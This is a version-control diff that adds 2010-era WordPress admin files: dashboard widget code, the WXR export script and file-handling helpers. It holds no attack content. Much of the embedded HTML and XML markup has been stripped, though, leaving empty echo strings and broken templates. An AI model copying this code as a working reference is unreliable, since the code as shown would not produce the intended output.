    '."\n\t".''; + echo "\n\t".''; + + // Posts + $num = number_format_i18n( $num_posts->publish ); + $text = _n( 'Post', 'Posts', intval($num_posts->publish) ); + if ( current_user_can( 'edit_posts' ) ) { + $num = "$num"; + $text = "$text"; + } + echo ''; + echo ''; + /* TODO: Show status breakdown on hover + if ( $can_edit_pages && !empty($num_pages->publish) ) { // how many pages is not exposed in feeds. Don't show if !current_user_can + $post_type_texts[] = ''.sprintf( _n( '%s page', '%s pages', $num_pages->publish ), number_format_i18n( $num_pages->publish ) ).''; + } + if ( $can_edit_posts && !empty($num_posts->draft) ) { + $post_type_texts[] = ''.sprintf( _n( '%s draft', '%s drafts', $num_posts->draft ), number_format_i18n( $num_posts->draft ) ).''; + } + if ( $can_edit_posts && !empty($num_posts->future) ) { + $post_type_texts[] = ''.sprintf( _n( '%s scheduled post', '%s scheduled posts', $num_posts->future ), number_format_i18n( $num_posts->future ) ).''; + } + if ( current_user_can('publish_posts') && !empty($num_posts->pending) ) { + $pending_text = sprintf( _n( 'There is %2$s post pending your review.', 'There are %2$s posts pending your review.', $num_posts->pending ), 'edit.php?post_status=pending', number_format_i18n( $num_posts->pending ) ); + } else { + $pending_text = ''; + } + */ + + // Total Comments + $num = '' . number_format_i18n($num_comm->total_comments) . ''; + $text = _n( 'Comment', 'Comments', $num_comm->total_comments ); + if ( current_user_can( 'moderate_comments' ) ) { + $num = "$num"; + $text = "$text"; + } + echo ''; + echo ''; + + echo ''; + + // Pages + $num = number_format_i18n( $num_pages->publish ); + $text = _n( 'Page', 'Pages', $num_pages->publish ); + if ( current_user_can( 'edit_pages' ) ) { + $num = "$num"; + $text = "$text"; + } + echo ''; + echo ''; + + // Approved Comments + $num = '' . number_format_i18n($num_comm->approved) . ''; + $text = _nc( 'Approved|Right Now', 'Approved', $num_comm->approved ); + if ( current_user_can( 'moderate_comments' ) ) { + $num = "$num"; + $text = "$text"; + } + echo ''; + echo ''; + + echo "\n\t"; + + // Categories + $num = number_format_i18n( $num_cats ); + $text = _n( 'Category', 'Categories', $num_cats ); + if ( current_user_can( 'manage_categories' ) ) { + $num = "$num"; + $text = "$text"; + } + echo ''; + echo ''; + + // Pending Comments + $num = '' . number_format_i18n($num_comm->moderated) . ''; + $text = _n( 'Pending', 'Pending', $num_comm->moderated ); + if ( current_user_can( 'moderate_comments' ) ) { + $num = "$num"; + $text = "$text"; + } + echo ''; + echo ''; + + echo "\n\t"; + + // Tags + $num = number_format_i18n( $num_tags ); + $text = _n( 'Tag', 'Tags', $num_tags ); + if ( current_user_can( 'manage_categories' ) ) { + $num = "$num"; + $text = "$text"; + } + echo ''; + echo ''; + + // Spam Comments + $num = number_format_i18n($num_comm->spam); + $text = _n( 'Spam', 'Spam', $num_comm->spam ); + if ( current_user_can( 'moderate_comments' ) ) { + $num = "$num"; + $text = "$text"; + } + echo ''; + echo ''; + + echo ""; + do_action('right_now_table_end'); + echo "\n\t
    ' . $num . '' . $text . '' . $num . '' . $text . '
    ' . $num . '' . $text . '' . $num . '' . $text . '
    ' . $num . '' . $text . '' . $num . '' . $text . '
    ' . $num . '' . $text . '' . $num . '' . $text . '
    \n\t
    "; + + echo "\n\t".'
    '; + $ct = current_theme_info(); + + echo "\n\t

    "; + if ( !empty($wp_registered_sidebars) ) { + $sidebars_widgets = wp_get_sidebars_widgets(); + $num_widgets = 0; + foreach ( (array) $sidebars_widgets as $k => $v ) { + if ( 'wp_inactive_widgets' == $k ) + continue; + if ( is_array($v) ) + $num_widgets = $num_widgets + count($v); + } + $num = number_format_i18n( $num_widgets ); + + if ( current_user_can( 'switch_themes' ) ) { + echo '' . __('Change Theme') . ''; + printf(_n('Theme %1$s with %2$s Widget', 'Theme %1$s with %2$s Widgets', $num_widgets), $ct->title, $num); + } else { + printf(_n('Theme %1$s with %2$s Widget', 'Theme %1$s with %2$s Widgets', $num_widgets), $ct->title, $num); + } + } else { + if ( current_user_can( 'switch_themes' ) ) { + echo '' . __('Change Theme') . ''; + printf( __('Theme %1$s'), $ct->title ); + } else { + printf( __('Theme %1$s'), $ct->title ); + } + } + echo '

    '; + + update_right_now_message(); + + echo "\n\t".'
    '; + do_action( 'rightnow_end' ); + do_action( 'activity_box_end' ); +} + +function wp_dashboard_quick_press() { + $drafts = false; + if ( 'post' === strtolower( $_SERVER['REQUEST_METHOD'] ) && isset( $_POST['action'] ) && 0 === strpos( $_POST['action'], 'post-quickpress' ) && (int) $_POST['post_ID'] ) { + $view = get_permalink( $_POST['post_ID'] ); + $edit = esc_url( get_edit_post_link( $_POST['post_ID'] ) ); + if ( 'post-quickpress-publish' == $_POST['action'] ) { + if ( current_user_can('publish_posts') ) + printf( '

    ' . __( 'Post Published. View post | Edit post' ) . '

    ', esc_url( $view ), $edit ); + else + printf( '

    ' . __( 'Post submitted. Preview post | Edit post' ) . '

    ', esc_url( add_query_arg( 'preview', 1, $view ) ), $edit ); + } else { + printf( '

    ' . __( 'Draft Saved. Preview post | Edit post' ) . '

    ', esc_url( add_query_arg( 'preview', 1, $view ) ), $edit ); + $drafts_query = new WP_Query( array( + 'post_type' => 'post', + 'post_status' => 'draft', + 'author' => $GLOBALS['current_user']->ID, + 'posts_per_page' => 1, + 'orderby' => 'modified', + 'order' => 'DESC' + ) ); + + if ( $drafts_query->posts ) + $drafts =& $drafts_query->posts; + } + printf('

    ' . __('You can also try %s, easy blogging from anywhere on the Web.') . '

    ', '' . __('Press This') . '' ); + $_REQUEST = array(); // hack for get_default_post_to_edit() + } + + $post = get_default_post_to_edit(); +?> + +
    +

    +
    + +
    + + +
    + +
    + + +

    +
    + +
    + + + +

    +
    + +
    + +

    + + + + + + + + + + +
    +

    + +
    + + 'post', + 'post_status' => 'draft', + 'author' => $GLOBALS['current_user']->ID, + 'posts_per_page' => 5, + 'orderby' => 'modified', + 'order' => 'DESC' + ) ); + $drafts =& $drafts_query->posts; + } + + if ( $drafts && is_array( $drafts ) ) { + $list = array(); + foreach ( $drafts as $draft ) { + $url = get_edit_post_link( $draft->ID ); + $title = _draft_or_post_title( $draft->ID ); + $item = "

    " . esc_html($title) . " " . get_the_time( get_option( 'date_format' ), $draft ) . '

    '; + if ( $the_content = preg_split( '#\s#', strip_tags( $draft->post_content ), 11, PREG_SPLIT_NO_EMPTY ) ) + $item .= '

    ' . join( ' ', array_slice( $the_content, 0, 10 ) ) . ( 10 < count( $the_content ) ? '…' : '' ) . '

    '; + $list[] = $item; + } +?> +
      +
    • \n
    • ", $list ); ?>
    • +
    +

    +get_results( "SELECT * FROM $wpdb->comments c LEFT JOIN $wpdb->posts p ON c.comment_post_ID = p.ID WHERE p.post_status != 'trash' ORDER BY c.comment_date_gmt DESC LIMIT $start, 50" ) ) { + + foreach ( $possible as $comment ) { + if ( count( $comments ) >= 5 ) + break; + if ( in_array( $comment->comment_approved, $allowed_states ) ) + $comments[] = $comment; + } + + $start = $start + 50; + } + + if ( $comments ) : +?> + +
    + + +
    + + +

    + + +

    + +comment_post_ID ); + $comment_post_title = strip_tags(get_the_title( $comment->comment_post_ID )); + $comment_post_link = "$comment_post_title"; + $comment_link = '#'; + + $actions_string = ''; + if ( current_user_can('edit_post', $comment->comment_post_ID) ) { + // preorder it: Approve | Reply | Edit | Spam | Trash + $actions = array( + 'approve' => '', 'unapprove' => '', + 'reply' => '', + 'edit' => '', + 'spam' => '', + 'trash' => '', 'delete' => '' + ); + + $del_nonce = esc_html( '_wpnonce=' . wp_create_nonce( "delete-comment_$comment->comment_ID" ) ); + $approve_nonce = esc_html( '_wpnonce=' . wp_create_nonce( "approve-comment_$comment->comment_ID" ) ); + + $approve_url = esc_url( "comment.php?action=approvecomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$approve_nonce" ); + $unapprove_url = esc_url( "comment.php?action=unapprovecomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$approve_nonce" ); + $spam_url = esc_url( "comment.php?action=spamcomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$del_nonce" ); + $trash_url = esc_url( "comment.php?action=trashcomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$del_nonce" ); + $delete_url = esc_url( "comment.php?action=deletecomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$del_nonce" ); + + $actions['approve'] = "" . __( 'Approve' ) . ''; + $actions['unapprove'] = "" . __( 'Unapprove' ) . ''; + $actions['edit'] = "". __('Edit') . ''; + $actions['reply'] = '' . __('Reply') . ''; + $actions['spam'] = "" . /* translators: mark as spam link */ _x( 'Spam', 'verb' ) . ''; + if ( !EMPTY_TRASH_DAYS ) + $actions['delete'] = "" . __('Delete Permanently') . ''; + else + $actions['trash'] = "" . _x('Trash', 'verb') . ''; + + $actions = apply_filters( 'comment_row_actions', array_filter($actions), $comment ); + + $i = 0; + foreach ( $actions as $action => $link ) { + ++$i; + ( ( ('approve' == $action || 'unapprove' == $action) && 2 === $i ) || 1 === $i ) ? $sep = '' : $sep = ' | '; + + // Reply and quickedit need a hide-if-no-js span + if ( 'reply' == $action || 'quickedit' == $action ) + $action .= ' hide-if-no-js'; + + $actions_string .= "$sep$link"; + } + } + +?> + +
    comment_ID) ) ); ?>> + comment_type || 'comment' == $comment->comment_type ) : ?> + + + +
    +

    ' . get_comment_author_link() . '', $comment_post_link.' '.$comment_link, ' ' . __( '[Pending]' ) . '' ); ?>

    + + comment_type ) : + case 'pingback' : + $type = __( 'Pingback' ); + break; + case 'trackback' : + $type = __( 'Trackback' ); + break; + default : + $type = ucwords( $comment->comment_type ); + endswitch; + $type = esc_html( $type ); + ?> +
    + +

    $type", $comment_post_link." ".$comment_link ); ?>

    +

    + + +

    +

    +
    +
    +' . __( 'Loading…' ) . '

    ' . __('This widget requires JavaScript.') . '

    '; +} + +/** + * Display incoming links dashboard widget content. + * + * @since unknown + */ +function wp_dashboard_incoming_links_output() { + $widgets = get_option( 'dashboard_widget_options' ); + @extract( @$widgets['dashboard_incoming_links'], EXTR_SKIP ); + $rss = fetch_feed( $url ); + + if ( is_wp_error($rss) ) { + if ( is_admin() || current_user_can('manage_options') ) { + echo '

    '; + printf(__('RSS Error: %s'), $rss->get_error_message()); + echo '

    '; + } + return; + } + + if ( !$rss->get_item_quantity() ) { + echo '

    ' . __('This dashboard widget queries Google Blog Search so that when another blog links to your site it will show up here. It has found no incoming links… yet. It’s okay — there is no rush.') . "

    \n"; + $rss->__destruct(); + unset($rss); + return; + } + + echo "
      \n"; + + if ( !isset($items) ) + $items = 10; + + foreach ( $rss->get_items(0, $items) as $item ) { + $publisher = ''; + $site_link = ''; + $link = ''; + $content = ''; + $date = ''; + $link = esc_url( strip_tags( $item->get_link() ) ); + + $author = $item->get_author(); + if ( $author ) { + $site_link = esc_url( strip_tags( $author->get_link() ) ); + + if ( !$publisher = esc_html( strip_tags( $author->get_name() ) ) ) + $publisher = __( 'Somebody' ); + } else { + $publisher = __( 'Somebody' ); + } + if ( $site_link ) + $publisher = "$publisher"; + else + $publisher = "$publisher"; + + $content = $item->get_content(); + $content = wp_html_excerpt($content, 50) . ' ...'; + + if ( $link ) + /* translators: incoming links feed, %1$s is other person, %3$s is content */ + $text = __( '%1$s linked here saying, "%3$s"' ); + else + /* translators: incoming links feed, %1$s is other person, %3$s is content */ + $text = __( '%1$s linked here saying, "%3$s"' ); + + if ( $show_date ) { + if ( $show_author || $show_summary ) + /* translators: incoming links feed, %4$s is the date */ + $text .= ' ' . __( 'on %4$s' ); + $date = esc_html( strip_tags( $item->get_date() ) ); + $date = strtotime( $date ); + $date = gmdate( get_option( 'date_format' ), $date ); + } + + echo "\t
    • " . sprintf( $text, $publisher, $link, $content, $date ) . "
    • \n"; + } + + echo "
    \n"; + $rss->__destruct(); + unset($rss); +} + +function wp_dashboard_incoming_links_control() { + wp_dashboard_rss_control( 'dashboard_incoming_links', array( 'title' => false, 'show_summary' => false, 'show_author' => false ) ); +} + +function wp_dashboard_primary() { + echo '

    ' . __( 'Loading…' ) . '

    ' . __('This widget requires JavaScript.') . '

    '; +} + +function wp_dashboard_primary_control() { + wp_dashboard_rss_control( 'dashboard_primary' ); +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param int $widget_id + */ +function wp_dashboard_rss_output( $widget_id ) { + $widgets = get_option( 'dashboard_widget_options' ); + echo '
    '; + wp_widget_rss_output( $widgets[$widget_id] ); + echo "
    "; +} + +function wp_dashboard_secondary() { + echo '

    ' . __( 'Loading…' ) . '

    ' . __('This widget requires JavaScript.') . '

    '; +} + +function wp_dashboard_secondary_control() { + wp_dashboard_rss_control( 'dashboard_secondary' ); +} + +/** + * Display secondary dashboard RSS widget feed. + * + * @since unknown + * + * @return unknown + */ +function wp_dashboard_secondary_output() { + $widgets = get_option( 'dashboard_widget_options' ); + @extract( @$widgets['dashboard_secondary'], EXTR_SKIP ); + $rss = @fetch_feed( $url ); + + if ( is_wp_error($rss) ) { + if ( is_admin() || current_user_can('manage_options') ) { + echo '

    '; + printf(__('RSS Error: %s'), $rss->get_error_message()); + echo '

    '; + } + } elseif ( !$rss->get_item_quantity() ) { + $rss->__destruct(); + unset($rss); + return false; + } else { + echo '
    '; + wp_widget_rss_output( $rss, $widgets['dashboard_secondary'] ); + echo '
    '; + $rss->__destruct(); + unset($rss); + } +} + +function wp_dashboard_plugins() { + echo '

    ' . __( 'Loading…' ) . '

    ' . __('This widget requires JavaScript.') . '

    '; +} + +/** + * Display plugins most popular, newest plugins, and recently updated widget text. + * + * @since unknown + */ +function wp_dashboard_plugins_output() { + $popular = fetch_feed( 'http://wordpress.org/extend/plugins/rss/browse/popular/' ); + $new = fetch_feed( 'http://wordpress.org/extend/plugins/rss/browse/new/' ); + $updated = fetch_feed( 'http://wordpress.org/extend/plugins/rss/browse/updated/' ); + + if ( false === $plugin_slugs = get_transient( 'plugin_slugs' ) ) { + $plugin_slugs = array_keys( get_plugins() ); + set_transient( 'plugin_slugs', $plugin_slugs, 86400 ); + } + + foreach ( array( 'popular' => __('Most Popular'), 'new' => __('Newest Plugins'), 'updated' => __('Recently Updated') ) as $feed => $label ) { + if ( is_wp_error($$feed) || !$$feed->get_item_quantity() ) + continue; + + $items = $$feed->get_items(0, 5); + + // Pick a random, non-installed plugin + while ( true ) { + // Abort this foreach loop iteration if there's no plugins left of this type + if ( 0 == count($items) ) + continue 2; + + $item_key = array_rand($items); + $item = $items[$item_key]; + + list($link, $frag) = explode( '#', $item->get_link() ); + + $link = esc_url($link); + if ( preg_match( '|/([^/]+?)/?$|', $link, $matches ) ) + $slug = $matches[1]; + else { + unset( $items[$item_key] ); + continue; + } + + // Is this random plugin's slug already installed? If so, try again. + reset( $plugin_slugs ); + foreach ( $plugin_slugs as $plugin_slug ) { + if ( $slug == substr( $plugin_slug, 0, strlen( $slug ) ) ) { + unset( $items[$item_key] ); + continue 2; + } + } + + // If we get to this point, then the random plugin isn't installed and we can stop the while(). + break; + } + + // Eliminate some common badly formed plugin descriptions + while ( ( null !== $item_key = array_rand($items) ) && false !== strpos( $items[$item_key]->get_description(), 'Plugin Name:' ) ) + unset($items[$item_key]); + + if ( !isset($items[$item_key]) ) + continue; + + // current bbPress feed item titles are: user on "topic title" + if ( preg_match( '/"(.*)"/s', $item->get_title(), $matches ) ) + $title = $matches[1]; + else // but let's make it forward compatible if things change + $title = $item->get_title(); + $title = esc_html( $title ); + + $description = esc_html( strip_tags(@html_entity_decode($item->get_description(), ENT_QUOTES, get_option('blog_charset'))) ); + + $ilink = wp_nonce_url('plugin-install.php?tab=plugin-information&plugin=' . $slug, 'install-plugin_' . $slug) . + '&TB_iframe=true&width=600&height=800'; + + echo "

    $label

    \n"; + echo "
    $title
     (" . __( 'Install' ) . ")\n"; + echo "

    $description

    \n"; + + $$feed->__destruct(); + unset($$feed); + } +} + +/** + * Checks to see if all of the feed url in $check_urls are cached. + * + * If $check_urls is empty, look for the rss feed url found in the dashboard + * widget optios of $widget_id. If cached, call $callback, a function that + * echoes out output for this widget. If not cache, echo a "Loading..." stub + * which is later replaced by AJAX call (see top of /wp-admin/index.php) + * + * @since unknown + * + * @param int $widget_id + * @param callback $callback + * @param array $check_urls RSS feeds + * @return bool False on failure. True on success. + */ +function wp_dashboard_cached_rss_widget( $widget_id, $callback, $check_urls = array() ) { + $loading = '

    ' . __( 'Loading…' ) . '

    '; + + if ( empty($check_urls) ) { + $widgets = get_option( 'dashboard_widget_options' ); + if ( empty($widgets[$widget_id]['url']) ) { + echo $loading; + return false; + } + $check_urls = array( $widgets[$widget_id]['url'] ); + } + + include_once ABSPATH . WPINC . '/class-feed.php'; + foreach ( $check_urls as $check_url ) { + $cache = new WP_Feed_Cache_Transient('', md5($check_url), ''); + if ( ! $cache->load() ) { + echo $loading; + return false; + } + } + + if ( $callback && is_callable( $callback ) ) { + $args = array_slice( func_get_args(), 2 ); + array_unshift( $args, $widget_id ); + call_user_func_array( $callback, $args ); + } + + return true; +} + +/* Dashboard Widgets Controls */ + +// Calls widget_control callback +/** + * Calls widget control callback. + * + * @since unknown + * + * @param int $widget_control_id Registered Widget ID. + */ +function wp_dashboard_trigger_widget_control( $widget_control_id = false ) { + global $wp_dashboard_control_callbacks; + + if ( is_scalar($widget_control_id) && $widget_control_id && isset($wp_dashboard_control_callbacks[$widget_control_id]) && is_callable($wp_dashboard_control_callbacks[$widget_control_id]) ) { + call_user_func( $wp_dashboard_control_callbacks[$widget_control_id], '', array( 'id' => $widget_control_id, 'callback' => $wp_dashboard_control_callbacks[$widget_control_id] ) ); + } +} + +/** + * The RSS dashboard widget control. + * + * Sets up $args to be used as input to wp_widget_rss_form(). Handles POST data + * from RSS-type widgets. + * + * @since unknown + * + * @param string widget_id + * @param array form_inputs + */ +function wp_dashboard_rss_control( $widget_id, $form_inputs = array() ) { + if ( !$widget_options = get_option( 'dashboard_widget_options' ) ) + $widget_options = array(); + + if ( !isset($widget_options[$widget_id]) ) + $widget_options[$widget_id] = array(); + + $number = 1; // Hack to use wp_widget_rss_form() + $widget_options[$widget_id]['number'] = $number; + + if ( 'POST' == $_SERVER['REQUEST_METHOD'] && isset($_POST['widget-rss'][$number]) ) { + $_POST['widget-rss'][$number] = stripslashes_deep( $_POST['widget-rss'][$number] ); + $widget_options[$widget_id] = wp_widget_rss_process( $_POST['widget-rss'][$number] ); + // title is optional. If black, fill it if possible + if ( !$widget_options[$widget_id]['title'] && isset($_POST['widget-rss'][$number]['title']) ) { + $rss = fetch_feed($widget_options[$widget_id]['url']); + if ( is_wp_error($rss) ) { + $widget_options[$widget_id]['title'] = htmlentities(__('Unknown Feed')); + } else { + $widget_options[$widget_id]['title'] = htmlentities(strip_tags($rss->get_title())); + $rss->__destruct(); + unset($rss); + } + } + update_option( 'dashboard_widget_options', $widget_options ); + } + + wp_widget_rss_form( $widget_options[$widget_id], $form_inputs ); +} + +/** + * Empty function usable by plugins to output empty dashboard widget (to be populated later by JS). + */ +function wp_dashboard_empty() {} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/includes/export.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/includes/export.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,379 @@ +prepare(" WHERE post_author = %d ", $author_id); +} + +// grab a snapshot of post IDs, just in case it changes during the export +$post_ids = $wpdb->get_col("SELECT ID FROM $wpdb->posts $where ORDER BY post_date_gmt ASC"); + +$categories = (array) get_categories('get=all'); +$tags = (array) get_tags('get=all'); + +$custom_taxonomies = $wp_taxonomies; +unset($custom_taxonomies['category']); +unset($custom_taxonomies['post_tag']); +unset($custom_taxonomies['link_category']); +$custom_taxonomies = array_keys($custom_taxonomies); +$terms = (array) get_terms($custom_taxonomies, 'get=all'); + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $categories + */ +function wxr_missing_parents($categories) { + if ( !is_array($categories) || empty($categories) ) + return array(); + + foreach ( $categories as $category ) + $parents[$category->term_id] = $category->parent; + + $parents = array_unique(array_diff($parents, array_keys($parents))); + + if ( $zero = array_search('0', $parents) ) + unset($parents[$zero]); + + return $parents; +} + +while ( $parents = wxr_missing_parents($categories) ) { + $found_parents = get_categories("include=" . join(', ', $parents)); + if ( is_array($found_parents) && count($found_parents) ) + $categories = array_merge($categories, $found_parents); + else + break; +} + +// Put them in order to be inserted with no child going before its parent +$pass = 0; +$passes = 1000 + count($categories); +while ( ( $cat = array_shift($categories) ) && ++$pass < $passes ) { + if ( $cat->parent == 0 || isset($cats[$cat->parent]) ) { + $cats[$cat->term_id] = $cat; + } else { + $categories[] = $cat; + } +} +unset($categories); + +/** + * Place string in CDATA tag. + * + * @since unknown + * + * @param string $str String to place in XML CDATA tag. + */ +function wxr_cdata($str) { + if ( seems_utf8($str) == false ) + $str = utf8_encode($str); + + // $str = ent2ncr(esc_html($str)); + + $str = ""; + + return $str; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @return string Site URL. + */ +function wxr_site_url() { + global $current_site; + + // mu: the base url + if ( isset($current_site->domain) ) { + return 'http://'.$current_site->domain.$current_site->path; + } + // wp: the blog url + else { + return get_bloginfo_rss('url'); + } +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param object $c Category Object + */ +function wxr_cat_name($c) { + if ( empty($c->name) ) + return; + + echo '' . wxr_cdata($c->name) . ''; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param object $c Category Object + */ +function wxr_category_description($c) { + if ( empty($c->description) ) + return; + + echo '' . wxr_cdata($c->description) . ''; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param object $t Tag Object + */ +function wxr_tag_name($t) { + if ( empty($t->name) ) + return; + + echo '' . wxr_cdata($t->name) . ''; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param object $t Tag Object + */ +function wxr_tag_description($t) { + if ( empty($t->description) ) + return; + + echo '' . wxr_cdata($t->description) . ''; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param object $t Term Object + */ +function wxr_term_name($t) { + if ( empty($t->name) ) + return; + + echo '' . wxr_cdata($t->name) . ''; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param object $t Term Object + */ +function wxr_term_description($t) { + if ( empty($t->description) ) + return; + + echo '' . wxr_cdata($t->description) . ''; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + */ +function wxr_post_taxonomy() { + $categories = get_the_category(); + $tags = get_the_tags(); + $the_list = ''; + $filter = 'rss'; + + if ( !empty($categories) ) foreach ( (array) $categories as $category ) { + $cat_name = sanitize_term_field('name', $category->name, $category->term_id, 'category', $filter); + // for backwards compatibility + $the_list .= "\n\t\t\n"; + // forwards compatibility: use a unique identifier for each cat to avoid clashes + // http://trac.wordpress.org/ticket/5447 + $the_list .= "\n\t\tslug}\">\n"; + } + + if ( !empty($tags) ) foreach ( (array) $tags as $tag ) { + $tag_name = sanitize_term_field('name', $tag->name, $tag->term_id, 'post_tag', $filter); + $the_list .= "\n\t\t\n"; + // forwards compatibility as above + $the_list .= "\n\t\tslug}\">\n"; + } + + echo $the_list; +} + +echo '\n"; + +?> + + + + + + + + + + + + + + + + + + + + + <?php bloginfo_rss('name'); ?> + + + + http://wordpress.org/?v= + + + + + + slug; ?>parent ? $cats[$c->parent]->name : ''; ?> + + + slug; ?> + + + taxonomy; ?>slug; ?>parent ? $custom_taxonomies[$t->parent]->name : ''; ?> + + + in_the_loop = true; // Fake being in the loop. + // fetch 20 posts at a time rather than loading the entire table into memory + while ( $next_posts = array_splice($post_ids, 0, 20) ) { + $where = "WHERE ID IN (".join(',', $next_posts).")"; + $posts = $wpdb->get_results("SELECT * FROM $wpdb->posts $where ORDER BY post_date_gmt ASC"); + foreach ($posts as $post) { + // Don't export revisions. They bloat the export. + if ( 'revision' == $post->post_type ) + continue; + setup_postdata($post); + + $is_sticky = 0; + if ( is_sticky( $post->ID ) ) + $is_sticky = 1; + +?> + +<?php echo apply_filters('the_title_rss', $post->post_title); ?> + + + + + + + +post_content) ); ?> +post_excerpt) ); ?> +ID; ?> +post_date; ?> +post_date_gmt; ?> +comment_status; ?> +ping_status; ?> +post_name; ?> +post_status; ?> +post_parent; ?> +menu_order; ?> +post_type; ?> +post_password; ?> + +post_type == 'attachment') { ?> +ID); ?> + +get_results( $wpdb->prepare("SELECT * FROM $wpdb->postmeta WHERE post_id = %d", $post->ID) ); +if ( $postmeta ) { +?> + + +meta_key; ?> +meta_value; ?> + + + +get_results( $wpdb->prepare("SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d", $post->ID) ); +if ( $comments ) { foreach ( $comments as $c ) { ?> + +comment_ID; ?> +comment_author); ?> +comment_author_email; ?> +comment_author_url ); ?> +comment_author_IP; ?> +comment_date; ?> +comment_date_gmt; ?> +comment_content) ?> +comment_approved; ?> +comment_type; ?> +comment_parent; ?> +user_id; ?> + + + + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/includes/file.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/includes/file.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,866 @@ + __( 'Main Index Template' ), + 'style.css' => __( 'Stylesheet' ), + 'rtl.css' => __( 'RTL Stylesheet' ), + 'comments.php' => __( 'Comments' ), + 'comments-popup.php' => __( 'Popup Comments' ), + 'footer.php' => __( 'Footer' ), + 'header.php' => __( 'Header' ), + 'sidebar.php' => __( 'Sidebar' ), + 'archive.php' => __( 'Archives' ), + 'category.php' => __( 'Category Template' ), + 'page.php' => __( 'Page Template' ), + 'search.php' => __( 'Search Results' ), + 'searchform.php' => __( 'Search Form' ), + 'single.php' => __( 'Single Post' ), + '404.php' => __( '404 Template' ), + 'link.php' => __( 'Links Template' ), + 'functions.php' => __( 'Theme Functions' ), + 'attachment.php' => __( 'Attachment Template' ), + 'image.php' => __('Image Attachment Template'), + 'video.php' => __('Video Attachment Template'), + 'audio.php' => __('Audio Attachment Template'), + 'application.php' => __('Application Attachment Template'), + 'my-hacks.php' => __( 'my-hacks.php (legacy hacks support)' ), + '.htaccess' => __( '.htaccess (for rewrite rules )' ), + // Deprecated files + 'wp-layout.css' => __( 'Stylesheet' ), 'wp-comments.php' => __( 'Comments Template' ), 'wp-comments-popup.php' => __( 'Popup Comments Template' )); + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $file + * @return unknown + */ +function get_file_description( $file ) { + global $wp_file_descriptions; + + if ( isset( $wp_file_descriptions[basename( $file )] ) ) { + return $wp_file_descriptions[basename( $file )]; + } + elseif ( file_exists( WP_CONTENT_DIR . $file ) && is_file( WP_CONTENT_DIR . $file ) ) { + $template_data = implode( '', file( WP_CONTENT_DIR . $file ) ); + if ( preg_match( '|Template Name:(.*)$|mi', $template_data, $name )) + return _cleanup_header_comment($name[1]) . ' Page Template'; + } + + return basename( $file ); +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @return unknown + */ +function get_home_path() { + $home = get_option( 'home' ); + $siteurl = get_option( 'siteurl' ); + if ( $home != '' && $home != $siteurl ) { + $wp_path_rel_to_home = str_replace($home, '', $siteurl); /* $siteurl - $home */ + $pos = strpos($_SERVER["SCRIPT_FILENAME"], $wp_path_rel_to_home); + $home_path = substr($_SERVER["SCRIPT_FILENAME"], 0, $pos); + $home_path = trailingslashit( $home_path ); + } else { + $home_path = ABSPATH; + } + + return $home_path; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $file + * @return unknown + */ +function get_real_file_to_edit( $file ) { + if ('index.php' == $file || '.htaccess' == $file ) { + $real_file = get_home_path() . $file; + } else { + $real_file = WP_CONTENT_DIR . $file; + } + + return $real_file; +} + +/** + * Returns a listing of all files in the specified folder and all subdirectories up to 100 levels deep. + * The depth of the recursiveness can be controlled by the $levels param. + * + * @since 2.6.0 + * + * @param string $folder Full path to folder + * @param int $levels (optional) Levels of folders to follow, Default: 100 (PHP Loop limit). + * @return bool|array False on failure, Else array of files + */ +function list_files( $folder = '', $levels = 100 ) { + if( empty($folder) ) + return false; + + if( ! $levels ) + return false; + + $files = array(); + if ( $dir = @opendir( $folder ) ) { + while (($file = readdir( $dir ) ) !== false ) { + if ( in_array($file, array('.', '..') ) ) + continue; + if ( is_dir( $folder . '/' . $file ) ) { + $files2 = list_files( $folder . '/' . $file, $levels - 1); + if( $files2 ) + $files = array_merge($files, $files2 ); + else + $files[] = $folder . '/' . $file . '/'; + } else { + $files[] = $folder . '/' . $file; + } + } + } + @closedir( $dir ); + return $files; +} + +/** + * Determines a writable directory for temporary files. + * Function's preference is to WP_CONTENT_DIR followed by the return value of sys_get_temp_dir(), before finally defaulting to /tmp/ + * + * In the event that this function does not find a writable location, It may be overridden by the WP_TEMP_DIR constant in your wp-config.php file. + * + * @since 2.5.0 + * + * @return string Writable temporary directory + */ +function get_temp_dir() { + if ( defined('WP_TEMP_DIR') ) + return trailingslashit(WP_TEMP_DIR); + + $temp = WP_CONTENT_DIR . '/'; + if ( is_dir($temp) && is_writable($temp) ) + return $temp; + + if ( function_exists('sys_get_temp_dir') ) + return trailingslashit(sys_get_temp_dir()); + + return '/tmp/'; +} + +/** + * Returns a filename of a Temporary unique file. + * Please note that the calling function must unlink() this itself. + * + * The filename is based off the passed parameter or defaults to the current unix timestamp, + * while the directory can either be passed as well, or by leaving it blank, default to a writable temporary directory. + * + * @since 2.6.0 + * + * @param string $filename (optional) Filename to base the Unique file off + * @param string $dir (optional) Directory to store the file in + * @return string a writable filename + */ +function wp_tempnam($filename = '', $dir = ''){ + if ( empty($dir) ) + $dir = get_temp_dir(); + $filename = basename($filename); + if ( empty($filename) ) + $filename = time(); + + $filename = preg_replace('|\..*$|', '.tmp', $filename); 